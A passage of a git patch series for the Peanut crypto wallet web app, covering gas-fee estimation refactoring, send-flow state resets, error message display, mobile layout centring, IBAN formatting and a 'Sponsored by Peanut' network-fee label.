bytesToNumber, encodeFunctionData, parseAbi, parseEther, parseEventLogs, parseUnits, toBytes } from 'viem' +import { useSignTypedData } from 'wagmi' import { useZeroDev } from '@/hooks/useZeroDev' import { useWallet } from '@/hooks/wallet/useWallet' -import { NATIVE_TOKEN_ADDRESS } from '@/utils/token.utils' import { captureException } from '@sentry/nextjs' export const useCreateLink = () => { @@ -39,7 +26,6 @@ export const useCreateLink = () => { const { selectedChainID } = useContext(tokenSelectorContext) const { address } = useWallet() - const { connector } = useAccount() const { signTypedDataAsync } = useSignTypedData() const { handleSendUserOpEncoded } = useZeroDev() @@ -108,72 +94,6 @@ export const useCreateLink = () => { }, [address] ) - const isSafeConnector = (connector?: { name?: string }): boolean => { - const name = connector?.name - if (!name) return false - return name.toLowerCase().includes('safe') - } - const estimateGasFee = useCallback( - async ({ - from, - chainId, - preparedTxs, - }: { - from: Hex - chainId: string - preparedTxs: peanutInterfaces.IPeanutUnsignedTransaction[] - }) => { - // Return early with default values for Safe connector - // requirement for internut (injects AA with zero gas fees) - if (isSafeConnector({ name: connector?.name })) { - return { - feeOptions: [ - { - gasLimit: BigInt(0), - maxFeePerGas: BigInt(0), - gasPrice: BigInt(0), - }, - ], - transactionCostUSD: 0, - } - } - let feeOptions: FeeOptions[] = [] - let transactionCostUSD = 0 - // For when we have an approval before a transaction, we need the - // token address to override the state - const erc20Token = preparedTxs.length === 2 ? preparedTxs[0].to : undefined - for (const preparedTx of preparedTxs) { - const gasOptions = jsonParse( - await getFeeOptions( - Number(chainId) as ChainId, - { - ...preparedTx, - value: preparedTx.value?.toString() ?? '0', - account: from, - erc20Token, - } as PreparedTx - ) - ) - if (gasOptions.error) { - throw new Error(gasOptions.error) - } - feeOptions.push(gasOptions) - let transactionCostWei = gasOptions.gas * gasOptions.maxFeePerGas - let transactionCostNative = formatEther(transactionCostWei) - const nativeTokenPrice = await fetchTokenPrice(NATIVE_TOKEN_ADDRESS, chainId) - if (!nativeTokenPrice || typeof nativeTokenPrice.price !== 'number' || isNaN(nativeTokenPrice.price)) { - throw new Error('Failed to fetch token price') - } - transactionCostUSD += Number(transactionCostNative) * nativeTokenPrice.price - } - - return { - feeOptions, - transactionCostUSD, - } - }, - [] - ) const estimatePoints = async ({ chainId, @@ -539,7 +459,6 @@ export const useCreateLink = () => { makeDepositGasless, prepareDepositTxs, getLinkFromHash, - estimateGasFee, estimatePoints, submitClaimLinkInit, submitClaimLinkConfirm, diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index ba000a440..68db37b13 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -28,6 +28,7 @@ import { useCallback, useContext, useEffect, useMemo } from 'react' import { useAccount } from 'wagmi' import { PaymentInfoRow } from '../PaymentInfoRow' import { formatUnits } from 'viem' +import type { Address } from 'viem' import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN } from '@/constants' import { captureMessage } from '@sentry/nextjs' @@ -156,7 +157,14 @@ export default function ConfirmPaymentView({ isDirectUsdPayment && chargeDetails.currencyCode.toLowerCase() === 'usd' ? chargeDetails.currencyAmount : undefined - await prepareTransactionDetails(chargeDetails, fromTokenAddress, fromChainId, usdAmount) + await prepareTransactionDetails({ + chargeDetails, + from: { + tokenAddress: fromTokenAddress as Address, + chainId: fromChainId, + }, + usdAmount, + }) } }, [ chargeDetails, diff --git a/src/hooks/usePaymentInitiator.ts b/src/hooks/usePaymentInitiator.ts index e9b12cf79..a78ce23e6 100644 --- a/src/hooks/usePaymentInitiator.ts +++ b/src/hooks/usePaymentInitiator.ts @@ -1,4 +1,3 @@ -import type { FeeOptions } from '@/app/actions/clients' import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN, @@ -32,6 +31,7 @@ import { useConfig, useSendTransaction, useSwitchChain, useAccount as useWagmiAc import { waitForTransactionReceipt } from 'wagmi/actions' import { getRoute, type PeanutCrossChainRoute } from '@/services/swap' import { estimateTransactionCostUsd } from '@/app/actions/tokens' +import { captureException } from '@sentry/nextjs' export interface InitiatePaymentPayload { recipient: ParsedURL['recipient'] @@ -77,7 +77,6 @@ export const usePaymentInitiator = () => { const [xChainUnsignedTxs, setXChainUnsignedTxs] = useState( null ) - const [feeOptions, setFeeOptions] = useState[]>([]) const [isFeeEstimationError, setIsFeeEstimationError] = useState(false) const [isCalculatingFees, setIsCalculatingFees] = useState(false) @@ -129,7 +128,6 @@ export const usePaymentInitiator = () => { setEstimatedFromValue('0') setSlippagePercentage(undefined) setEstimatedGasCost(undefined) - setFeeOptions([]) setTransactionHash(null) setPaymentDetails(null) }, [selectedChainID, selectedTokenAddress, requestDetails]) @@ -160,22 +158,19 @@ export const usePaymentInitiator = () => { // prepare transaction details (called from Confirm view) const prepareTransactionDetails = useCallback( - async ( - chargeDetails: TRequestChargeResponse, - fromTokenAddress?: string, - fromChainId?: string, + async ({ + chargeDetails, + from, + usdAmount, + }: { + chargeDetails: TRequestChargeResponse + from: { + tokenAddress: Address + chainId: string + } usdAmount?: string - ) => { - // Default to selected token/chain if not provided - const actualFromTokenAddress = fromTokenAddress ?? selectedTokenData?.address - const actualFromChainId = fromChainId ?? selectedChainID - - if ( - !selectedTokenData || - (!peanutWalletAddress && !wagmiAddress) || - !actualFromTokenAddress || - !actualFromChainId - ) { + }) => { + if (!peanutWalletAddress && !wagmiAddress) { console.warn('Missing data for transaction preparation') return } @@ -187,13 +182,12 @@ export const usePaymentInitiator = () => { setXChainRoute(undefined) setEstimatedGasCost(undefined) - setFeeOptions([]) setIsPreparingTx(true) try { - const _isXChain = actualFromChainId !== chargeDetails.chainId - const _diffTokens = !areEvmAddressesEqual(actualFromTokenAddress, chargeDetails.tokenAddress) + const _isXChain = from.chainId !== chargeDetails.chainId + const _diffTokens = !areEvmAddressesEqual(from.tokenAddress, chargeDetails.tokenAddress) setIsXChain(_isXChain) if (_isXChain || _diffTokens) { @@ -210,8 +204,7 @@ export const usePaymentInitiator = () => { const xChainRoute = await getRoute({ from: { address: senderAddress as Address, - tokenAddress: actualFromTokenAddress as Address, - chainId: actualFromChainId, + ...from, }, to: { address: chargeDetails.requestLink.recipientAddress as Address, @@ -249,16 +242,21 @@ export const usePaymentInitiator = () => { } setIsCalculatingFees(true) - setEstimatedGasCost( - isPeanutWallet - ? 0 - : await estimateTransactionCostUsd( - tx.unsignedTx.from! as Address, - tx.unsignedTx.to! as Address, - tx.unsignedTx.data! as Hex, - selectedChainID - ) - ) + let gasCost = 0 + if (!isPeanutWallet) { + try { + gasCost = await estimateTransactionCostUsd( + tx.unsignedTx.from! as Address, + tx.unsignedTx.to! as Address, + tx.unsignedTx.data! as Hex, + chargeDetails.chainId + ) + } catch (error) { + captureException(error) + setIsFeeEstimationError(true) + } + } + setEstimatedGasCost(gasCost) setIsCalculatingFees(false) setUnsignedTx(tx.unsignedTx) setEstimatedFromValue(chargeDetails.tokenAmount) @@ -275,15 +273,7 @@ export const usePaymentInitiator = () => { setIsPreparingTx(false) } }, - [ - selectedTokenData, - selectedChainID, - peanutWalletAddress, - wagmiAddress, - setIsXChain, - isPeanutWallet, - selectedTokenAddress, - ] + [peanutWalletAddress, wagmiAddress, setIsXChain, isPeanutWallet] ) // helper function: determine charge details (fetch or create) @@ -548,14 +538,6 @@ export const usePaymentInitiator = () => { currentStep = 'Sending Transaction' const txGasOptions: any = {} - const gasOptions = feeOptions[i] - if (gasOptions) { - if (gasOptions.gas) txGasOptions.gas = BigInt(gasOptions.gas.toString()) - if (gasOptions.maxFeePerGas) - txGasOptions.maxFeePerGas = BigInt(gasOptions.maxFeePerGas.toString()) - if (gasOptions.maxPriorityFeePerGas) - txGasOptions.maxPriorityFeePerGas = BigInt(gasOptions.maxPriorityFeePerGas.toString()) - } console.log('Using gas options:', txGasOptions) const hash = await sendTransactionAsync({ @@ -624,7 +606,6 @@ export const usePaymentInitiator = () => { switchChainAsync, xChainUnsignedTxs, unsignedTx, - feeOptions, sendTransactionAsync, config, selectedTokenData, From aedc3a85b4436c8aade2162b875df0521470642f Mon Sep 17 00:00:00 2001 From: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> Date: Tue, 8 Jul 2025 17:22:20 -0300 Subject: [PATCH 31/55] [TASK-12603] reset send flow state when navigating to/from payment link creation (#964) * reset send flow state when navigating to/from payment link creation * linting (formatting) --- .../Send/link/LinkSendFlowManager.tsx | 5 ----- .../link/views/Initial.link.send.view.tsx | 13 +++++++++++-- src/components/Send/views/SendRouter.view.tsx | 19 +++++++++++++++++-- 3 files changed, 28 insertions(+), 9 deletions(-) diff --git a/src/components/Send/link/LinkSendFlowManager.tsx b/src/components/Send/link/LinkSendFlowManager.tsx index 8cdf9deab..23fbd1535 100644 --- a/src/components/Send/link/LinkSendFlowManager.tsx +++ b/src/components/Send/link/LinkSendFlowManager.tsx @@ -46,11 +46,6 @@ const LinkSendFlowManager = ({ onPrev }: LinkSendFlowManagerProps) => { setSelectedTokenAddress(PEANUT_WALLET_TOKEN) }, []) - // reset send flow state when component mounts - useEffect(() => { - dispatch(sendFlowActions.resetSendFlow()) - }, [dispatch]) - return (
{view === 'INITIAL' && ( diff --git a/src/components/Send/link/views/Initial.link.send.view.tsx b/src/components/Send/link/views/Initial.link.send.view.tsx index b5c4f00e0..6e9208999 100644 --- a/src/components/Send/link/views/Initial.link.send.view.tsx +++ b/src/components/Send/link/views/Initial.link.send.view.tsx @@ -95,7 +95,16 @@ const LinkSendInitialView = () => { }, [isLoading, tokenValue, createLink, fetchBalance, dispatch, queryClient, setLoadingState, attachmentOptions]) useEffect(() => { - if (!peanutWalletBalance || !tokenValue) return + if (!peanutWalletBalance || !tokenValue) { + // Clear error state when no balance or token value + dispatch( + sendFlowActions.setErrorState({ + showError: false, + errorMessage: '', + }) + ) + return + } if ( parseUnits(peanutWalletBalance, PEANUT_WALLET_TOKEN_DECIMALS) < parseUnits(tokenValue, PEANUT_WALLET_TOKEN_DECIMALS) @@ -114,7 +123,7 @@ const LinkSendInitialView = () => { }) ) } - }, [peanutWalletBalance, tokenValue]) + }, [peanutWalletBalance, tokenValue, dispatch]) return (
diff --git a/src/components/Send/views/SendRouter.view.tsx b/src/components/Send/views/SendRouter.view.tsx index b2afdb7c3..68c0c004a 100644 --- a/src/components/Send/views/SendRouter.view.tsx +++ b/src/components/Send/views/SendRouter.view.tsx @@ -1,5 +1,7 @@ 'use client' import RouterViewWrapper from '@/components/RouterViewWrapper' +import { useAppDispatch } from '@/redux/hooks' +import { sendFlowActions } from '@/redux/slices/send-flow-slice' import { useRouter } from 'next/navigation' import { useState } from 'react' @@ -7,17 +9,30 @@ import LinkSendFlowManager from '../link/LinkSendFlowManager' export const SendRouterView = () => { const router = useRouter() + const dispatch = useAppDispatch() const [isSendingByLink, setIsSendingByLink] = useState(false) + const handleLinkCardClick = () => { + // Reset send flow state when entering link creation flow + dispatch(sendFlowActions.resetSendFlow()) + setIsSendingByLink(true) + } + + const handlePrev = () => { + // Reset send flow state when leaving link creation flow + dispatch(sendFlowActions.resetSendFlow()) + setIsSendingByLink(false) + } + if (isSendingByLink) { - return setIsSendingByLink(false)} /> + return } return ( setIsSendingByLink(true)} + onLinkCardClick={handleLinkCardClick} onUserSelect={(username) => router.push(`/send/${username}`)} /> ) From ba1883160c229a6331535523ca9853b084e0c05b Mon Sep 17 00:00:00 2001 From: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> Date: Tue, 8 Jul 2025 17:22:45 -0300 Subject: [PATCH 32/55] [TASK-12312] ENS/eth address network error being displayed on the frontend (#963) * ENS/eth address network error being displayed on the frontend * linting --- src/app/(mobile-ui)/withdraw/crypto/page.tsx | 8 +++++++- src/services/requests.ts | 14 +++++++++++++- 2 files changed, 20 insertions(+), 2 deletions(-) diff --git a/src/app/(mobile-ui)/withdraw/crypto/page.tsx b/src/app/(mobile-ui)/withdraw/crypto/page.tsx index ed0069214..9f9d03e29 100644 --- a/src/app/(mobile-ui)/withdraw/crypto/page.tsx +++ b/src/app/(mobile-ui)/withdraw/crypto/page.tsx @@ -45,6 +45,7 @@ export default function WithdrawCryptoPage() { setIsPreparingReview, paymentError, setPaymentError, + setError: setWithdrawError, } = useWithdrawFlow() const { @@ -62,8 +63,13 @@ export default function WithdrawCryptoPage() { (error: string | null) => { setPaymentError(error) dispatch(paymentActions.setError(error)) + // Also set the withdraw flow error state for display in InitialWithdrawView + setWithdrawError({ + showError: !!error, + errorMessage: error || '', + }) }, - [setPaymentError, dispatch] + [setPaymentError, dispatch, setWithdrawError] ) const clearErrors = useCallback(() => { diff --git a/src/services/requests.ts b/src/services/requests.ts index 99d7c32f8..67c34cdac 100644 --- a/src/services/requests.ts +++ b/src/services/requests.ts @@ -18,7 +18,19 @@ export const requestsApi = { }) if (!response.ok) { - throw new Error(`Failed to create request: ${response.statusText}`) + let errorMessage = `Failed to create request: ${response.statusText}` + + try { + const errorData = await response.json() + if (errorData.error) { + errorMessage = errorData.error + } + } catch (parseError) { + // If we can't parse the response, use the default error message + console.warn('Could not parse error response:', parseError) + } + + throw new Error(errorMessage) } return response.json() From 42e4deaa9f7a3710f8d7c0e068a9035304d5722f Mon Sep 17 00:00:00 2001 From: Kushagra Sarathe <76868364+kushagrasarathe@users.noreply.github.com> Date: Wed, 9 Jul 2025 16:56:25 +0530 Subject: [PATCH 33/55] fix: centre align views on mobile (#950) --- src/app/(mobile-ui)/request/create/page.tsx | 2 +- src/app/(mobile-ui)/send/page.tsx | 2 +- .../withdraw/[country]/bank/page.tsx | 2 +- .../components/AddMoneyBankDetails.tsx | 2 +- .../AddMoney/views/CryptoDepositQR.view.tsx | 54 ++++++++++--------- .../AddWithdraw/AddWithdrawCountriesList.tsx | 2 +- .../AddWithdraw/DynamicBankAccountForm.tsx | 2 +- .../link/views/Create.request.link.view.tsx | 4 +- .../Send/link/LinkSendFlowManager.tsx | 10 ++-- .../link/views/Success.link.send.view.tsx | 9 ++-- 10 files changed, 48 insertions(+), 41 deletions(-) diff --git a/src/app/(mobile-ui)/request/create/page.tsx b/src/app/(mobile-ui)/request/create/page.tsx index 73befa76a..66563a0e2 100644 --- a/src/app/(mobile-ui)/request/create/page.tsx +++ b/src/app/(mobile-ui)/request/create/page.tsx @@ -11,7 +11,7 @@ export const metadata = generateMetadata({ export default function RequestCreate() { return ( - + ) diff --git a/src/app/(mobile-ui)/send/page.tsx b/src/app/(mobile-ui)/send/page.tsx index b13f9c7a3..7656d7f23 100644 --- a/src/app/(mobile-ui)/send/page.tsx +++ b/src/app/(mobile-ui)/send/page.tsx @@ -12,7 +12,7 @@ export const metadata = generateMetadata({ export default function SendPage() { return ( - + ) diff --git a/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx b/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx index db60fcfff..71ce93abf 100644 --- a/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx +++ b/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx @@ -180,7 +180,7 @@ export default function WithdrawBankPage() { } return ( -
+
+
diff --git a/src/components/AddMoney/views/CryptoDepositQR.view.tsx b/src/components/AddMoney/views/CryptoDepositQR.view.tsx index 5aee77b3e..e8c67fca3 100644 --- a/src/components/AddMoney/views/CryptoDepositQR.view.tsx +++ b/src/components/AddMoney/views/CryptoDepositQR.view.tsx @@ -25,38 +25,40 @@ export const CryptoDepositQR = ({ tokenName, chainName, depositAddress, onBack } }, [depositAddress]) return ( -
+
- -
- +
+ +
+ -
-

{`Deposit ${tokenName} on ${chainName}`}

-

Other tokens or networks will be lost

+
+

{`Deposit ${tokenName} on ${chainName}`}

+

Other tokens or networks will be lost

+
-
-
+ -
- -
+
+ +
-
- - {depositAddress} - +
+ + {depositAddress} + +
) diff --git a/src/components/AddWithdraw/AddWithdrawCountriesList.tsx b/src/components/AddWithdraw/AddWithdrawCountriesList.tsx index c7c8a3497..b6b7479dc 100644 --- a/src/components/AddWithdraw/AddWithdrawCountriesList.tsx +++ b/src/components/AddWithdraw/AddWithdrawCountriesList.tsx @@ -203,7 +203,7 @@ const AddWithdrawCountriesList = ({ flow }: AddWithdrawCountriesListProps) => { if (view === 'form') { return ( -
+
setView('list')} /> void }, D }, [country]) return ( -
+
{ (hasAttachment && _tokenValue !== debouncedTokenValue) return ( -
+
router.push('/request')} title="Request" /> -
+
diff --git a/src/components/Send/link/LinkSendFlowManager.tsx b/src/components/Send/link/LinkSendFlowManager.tsx index 23fbd1535..cd12192f6 100644 --- a/src/components/Send/link/LinkSendFlowManager.tsx +++ b/src/components/Send/link/LinkSendFlowManager.tsx @@ -47,15 +47,17 @@ const LinkSendFlowManager = ({ onPrev }: LinkSendFlowManagerProps) => { }, []) return ( -
+ <> {view === 'INITIAL' && ( -
+
- +
+ +
)} {view === 'SUCCESS' && } -
+ ) } diff --git a/src/components/Send/link/views/Success.link.send.view.tsx b/src/components/Send/link/views/Success.link.send.view.tsx index 403551020..3bb78906c 100644 --- a/src/components/Send/link/views/Success.link.send.view.tsx +++ b/src/components/Send/link/views/Success.link.send.view.tsx @@ -25,9 +25,12 @@ const LinkSendSuccessView = () => { const { user } = useUserStore() const [isLoading, setIsLoading] = useState(false) + if (isLoading) { + return + } + return ( -
- {isLoading && } +
{ dispatch(sendFlowActions.resetSendFlow()) }} /> -
+
{link && ( Date: Wed, 9 Jul 2025 08:57:53 -0300 Subject: [PATCH 34/55] [TASK-12542] added formatIban function for correct display (#952) * added formatIban function for correct display * coderabbit suggestion Signed-off-by: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> * updated formatting * added iban formatting in all pages --------- Signed-off-by: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> --- .../(mobile-ui)/withdraw/[country]/bank/page.tsx | 11 +++++++++-- .../AddWithdraw/AddWithdrawRouterView.tsx | 4 ++-- .../TransactionDetails/TransactionDetailsDrawer.tsx | 13 +++++++------ 3 files changed, 18 insertions(+), 10 deletions(-) diff --git a/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx b/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx index 71ce93abf..91ff745b5 100644 --- a/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx +++ b/src/app/(mobile-ui)/withdraw/[country]/bank/page.tsx @@ -11,7 +11,7 @@ import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN_SYMBOL } from '@/constants' import { useWithdrawFlow } from '@/context/WithdrawFlowContext' import { useWallet } from '@/hooks/wallet/useWallet' import { AccountType, Account } from '@/interfaces' -import { shortenAddressLong } from '@/utils/general.utils' +import { formatIban, shortenAddressLong } from '@/utils/general.utils' import { useRouter } from 'next/navigation' import { useEffect, useState } from 'react' import DirectSuccessView from '@/components/Payment/Views/Status.payment.view' @@ -203,7 +203,14 @@ export default function WithdrawBankPage() { {bankAccount?.type === AccountType.IBAN ? ( <> - + ) : bankAccount?.type === AccountType.CLABE ? ( diff --git a/src/components/AddWithdraw/AddWithdrawRouterView.tsx b/src/components/AddWithdraw/AddWithdrawRouterView.tsx index 27121e854..50fc5b49c 100644 --- a/src/components/AddWithdraw/AddWithdrawRouterView.tsx +++ b/src/components/AddWithdraw/AddWithdrawRouterView.tsx @@ -9,7 +9,7 @@ import { import EmptyState from '@/components/Global/EmptyStates/EmptyState' import NavHeader from '@/components/Global/NavHeader' import { SearchInput } from '@/components/SearchUsers/SearchInput' -import { RecentMethod, getUserPreferences, updateUserPreferences, shortenAddressLong } from '@/utils/general.utils' +import { RecentMethod, getUserPreferences, updateUserPreferences, shortenAddressLong, formatIban } from '@/utils/general.utils' import { useRouter } from 'next/navigation' import { FC, useEffect, useMemo, useState } from 'react' import { useUserStore } from '@/redux/hooks' @@ -363,7 +363,7 @@ const SavedAccountsList: FC<{ accounts: Account[]; onItemClick: (account: Accoun return ( onItemClick(account, path)} className="p-4 py-2.5" diff --git a/src/components/TransactionDetails/TransactionDetailsDrawer.tsx b/src/components/TransactionDetails/TransactionDetailsDrawer.tsx index 47efad6b1..4f23b1da8 100644 --- a/src/components/TransactionDetails/TransactionDetailsDrawer.tsx +++ b/src/components/TransactionDetails/TransactionDetailsDrawer.tsx @@ -10,6 +10,7 @@ import { useUserStore } from '@/redux/hooks' import { chargesApi } from '@/services/charges' import { sendLinksApi } from '@/services/sendLinks' import { formatAmount, formatDate, getInitialsFromName } from '@/utils' +import { formatIban } from '@/utils/general.utils' import { getDisplayCurrencySymbol } from '@/utils/currency' import { cancelOnramp } from '@/app/actions/onramp' import { captureException } from '@sentry/nextjs' @@ -322,9 +323,9 @@ export const TransactionDetailsReceipt = ({ label={getBankAccountLabel(transaction.bankAccountDetails.type)} value={
- {transaction.bankAccountDetails.identifier.toUpperCase()} + {formatIban(transaction.bankAccountDetails.identifier)}
@@ -440,14 +441,14 @@ export const TransactionDetailsReceipt = ({
{ - transaction.extraDataForDrawer.depositInstructions - .iban + formatIban(transaction.extraDataForDrawer.depositInstructions + .iban) } From 8bac72d8e82949c32ab8c5e7a98d04561ea9815a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Wed, 9 Jul 2025 09:23:57 -0300 Subject: [PATCH 35/55] [TASK-12672] feat: show sponsored by peanut message (#959) * feat: show sponsored by peanut message This message is shown when we are making a transaction from the peanut wallet. If the amount is more than one cent we also show the fee that the user is saving by using peanut. * fix(fees): show correct ammounts for externalwallet * refactor: rename estimatedGasCostUsd to estimatedGasCostUsdUsd --- src/app/(mobile-ui)/withdraw/crypto/page.tsx | 8 +-- .../Payment/Views/Confirm.payment.view.tsx | 53 ++++++++++++------- .../Withdraw/views/Confirm.withdraw.view.tsx | 22 ++++++-- src/hooks/usePaymentInitiator.ts | 12 ++--- 4 files changed, 61 insertions(+), 34 deletions(-) diff --git a/src/app/(mobile-ui)/withdraw/crypto/page.tsx b/src/app/(mobile-ui)/withdraw/crypto/page.tsx index 9f9d03e29..e13dbb9a5 100644 --- a/src/app/(mobile-ui)/withdraw/crypto/page.tsx +++ b/src/app/(mobile-ui)/withdraw/crypto/page.tsx @@ -293,11 +293,11 @@ export default function WithdrawCryptoPage() { const displayError = paymentError ?? routeTypeError // Get network fee from route or fallback - const networkFee = useCallback(() => { + const networkFee = useMemo(() => { if (xChainRoute?.feeCostsUsd) { - return xChainRoute.feeCostsUsd < 0.01 ? '$ <0.01' : `$ ${xChainRoute.feeCostsUsd.toFixed(2)}` + return xChainRoute.feeCostsUsd } - return '$ 0.00' + return 0 }, [xChainRoute]) if (!amountToWithdraw) { @@ -325,7 +325,7 @@ export default function WithdrawCryptoPage() { onBack={handleBackFromConfirm} isProcessing={isProcessing} error={displayError} - networkFee={networkFee()} + networkFee={networkFee} // Timer props for cross-chain withdrawals isCrossChain={isCrossChainWithdrawal} routeExpiry={xChainRoute?.expiry} diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index 68db37b13..563f5d030 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -75,7 +75,7 @@ export default function ConfirmPaymentView({ isPreparingTx, loadingStep, error: paymentError, - estimatedGasCost, + estimatedGasCostUsd, isCalculatingFees, isEstimatingGas, isFeeEstimationError, @@ -88,15 +88,29 @@ export default function ConfirmPaymentView({ const { rewardWalletBalance } = useWalletStore() const queryClient = useQueryClient() - const networkFee = useMemo(() => { - if (!estimatedGasCost || isPeanutWallet) return '$ 0.00' + const isUsingExternalWallet = useMemo(() => { + return isAddMoneyFlow || !isPeanutWallet + }, [isPeanutWallet, isAddMoneyFlow]) + + const networkFee = useMemo(() => { if (isFeeEstimationError) return '-' - if (estimatedGasCost < 0.01) { - return '$ <0.01' - } else { - return `$ ${estimatedGasCost.toFixed(2)}` + if (!estimatedGasCostUsd) { + return isUsingExternalWallet ? '-' : 'Sponsored by Peanut!' + } + + if (isUsingExternalWallet) { + return estimatedGasCostUsd < 0.01 ? '$ <0.01' : `$ ${estimatedGasCostUsd.toFixed(2)}` } - }, [estimatedGasCost, isPeanutWallet, isFeeEstimationError]) + + if (estimatedGasCostUsd < 0.01) return 'Sponsored by Peanut!' + + return ( + <> + $ {estimatedGasCostUsd.toFixed(2)}{' '} + Sponsored by Peanut! + + ) + }, [estimatedGasCostUsd, isFeeEstimationError, isUsingExternalWallet]) const { tokenIconUrl: sendingTokenIconUrl, @@ -125,12 +139,12 @@ export default function ConfirmPaymentView({ return ( isProcessing && - (!isPeanutWallet || !!isAddMoneyFlow) && + isUsingExternalWallet && ['Switching Network', 'Sending Transaction', 'Confirming Transaction', 'Preparing Transaction'].includes( loadingStep ) ) - }, [isProcessing, isPeanutWallet, loadingStep, isAddMoneyFlow, isCalculatingFees, isEstimatingGas]) + }, [isProcessing, loadingStep, isCalculatingFees, isEstimatingGas, isUsingExternalWallet]) useEffect(() => { if (chargeIdFromUrl && !chargeDetails) { @@ -151,8 +165,8 @@ export default function ConfirmPaymentView({ const handleRouteRefresh = useCallback(async () => { if (chargeDetails && selectedTokenData && selectedChainID) { - const fromTokenAddress = !isAddMoneyFlow && isPeanutWallet ? PEANUT_WALLET_TOKEN : selectedTokenData.address - const fromChainId = !isAddMoneyFlow && isPeanutWallet ? PEANUT_WALLET_CHAIN.id.toString() : selectedChainID + const fromTokenAddress = !isUsingExternalWallet ? PEANUT_WALLET_TOKEN : selectedTokenData.address + const fromChainId = !isUsingExternalWallet ? PEANUT_WALLET_CHAIN.id.toString() : selectedChainID const usdAmount = isDirectUsdPayment && chargeDetails.currencyCode.toLowerCase() === 'usd' ? chargeDetails.currencyAmount @@ -172,8 +186,7 @@ export default function ConfirmPaymentView({ selectedChainID, prepareTransactionDetails, isDirectUsdPayment, - isPeanutWallet, - isAddMoneyFlow, + isUsingExternalWallet, ]) useEffect(() => { @@ -208,7 +221,7 @@ export default function ConfirmPaymentView({ skipChargeCreation: true, currency, currencyAmount, - isAddMoneyFlow: !!isAddMoneyFlow, + isAddMoneyFlow, transactionType: isAddMoneyFlow ? 'DEPOSIT' : 'REQUEST', }) @@ -335,7 +348,7 @@ export default function ConfirmPaymentView({ const isCrossChainPayment = useMemo((): boolean => { if (!chargeDetails) return false - if (!isAddMoneyFlow && isPeanutWallet) { + if (!isUsingExternalWallet) { return ( !areEvmAddressesEqual(chargeDetails.tokenAddress, PEANUT_WALLET_TOKEN) || chargeDetails.chainId !== PEANUT_WALLET_CHAIN.id.toString() @@ -347,7 +360,7 @@ export default function ConfirmPaymentView({ ) } return false - }, [chargeDetails, selectedTokenData, selectedChainID, isPeanutWallet, isAddMoneyFlow]) + }, [chargeDetails, selectedTokenData, selectedChainID, isUsingExternalWallet]) const routeTypeError = useMemo((): string | null => { if (!isCrossChainPayment || !xChainRoute || !isPeanutWallet) return null @@ -455,9 +468,9 @@ export default function ConfirmPaymentView({ label={isCrossChainPayment ? 'Max network fee' : 'Network fee'} value={networkFee} moreInfoText={ - isPeanutWallet - ? 'This transaction is sponsored by Peanut.' - : 'This transaction may face slippage due to token conversion or cross-chain bridging.' + isCrossChainPayment + ? 'This transaction may face slippage due to token conversion or cross-chain bridging.' + : undefined } /> diff --git a/src/components/Withdraw/views/Confirm.withdraw.view.tsx b/src/components/Withdraw/views/Confirm.withdraw.view.tsx index 73d8978c4..495f1bdbf 100644 --- a/src/components/Withdraw/views/Confirm.withdraw.view.tsx +++ b/src/components/Withdraw/views/Confirm.withdraw.view.tsx @@ -21,7 +21,7 @@ interface WithdrawConfirmViewProps { token: ITokenPriceData chain: interfaces.ISquidChain & { tokens: interfaces.ISquidToken[] } toAddress: string - networkFee?: string + networkFee?: number peanutFee?: string onConfirm: () => void onBack: () => void @@ -40,7 +40,7 @@ export default function ConfirmWithdrawView({ token, chain, toAddress, - networkFee = '0.00', + networkFee = 0, peanutFee = '0.00', onConfirm, onBack, @@ -63,6 +63,16 @@ export default function ConfirmWithdrawView({ return formatUnits(BigInt(xChainRoute.rawResponse.route.estimate.toAmountMin), token.decimals) }, [xChainRoute]) + const networkFeeDisplay = useMemo(() => { + if (networkFee < 0.01) return 'Sponsored by Peanut!' + return ( + <> + $ {networkFee.toFixed(2)}{' '} + Sponsored by Peanut! + + ) + }, [networkFee]) + return (
@@ -132,8 +142,12 @@ export default function ConfirmWithdrawView({ /> diff --git a/src/hooks/usePaymentInitiator.ts b/src/hooks/usePaymentInitiator.ts index a78ce23e6..51f9aba75 100644 --- a/src/hooks/usePaymentInitiator.ts +++ b/src/hooks/usePaymentInitiator.ts @@ -82,7 +82,7 @@ export const usePaymentInitiator = () => { const [isCalculatingFees, setIsCalculatingFees] = useState(false) const [isPreparingTx, setIsPreparingTx] = useState(false) - const [estimatedGasCost, setEstimatedGasCost] = useState(undefined) + const [estimatedGasCostUsd, setEstimatedGasCostUsd] = useState(undefined) const [estimatedFromValue, setEstimatedFromValue] = useState('0') const [loadingStep, setLoadingStep] = useState('Idle') const [error, setError] = useState(null) @@ -127,7 +127,7 @@ export const usePaymentInitiator = () => { setXChainRoute(undefined) setEstimatedFromValue('0') setSlippagePercentage(undefined) - setEstimatedGasCost(undefined) + setEstimatedGasCostUsd(undefined) setTransactionHash(null) setPaymentDetails(null) }, [selectedChainID, selectedTokenAddress, requestDetails]) @@ -181,7 +181,7 @@ export const usePaymentInitiator = () => { setXChainUnsignedTxs(null) setXChainRoute(undefined) - setEstimatedGasCost(undefined) + setEstimatedGasCostUsd(undefined) setIsPreparingTx(true) @@ -224,7 +224,7 @@ export const usePaymentInitiator = () => { })) ) setIsCalculatingFees(false) - 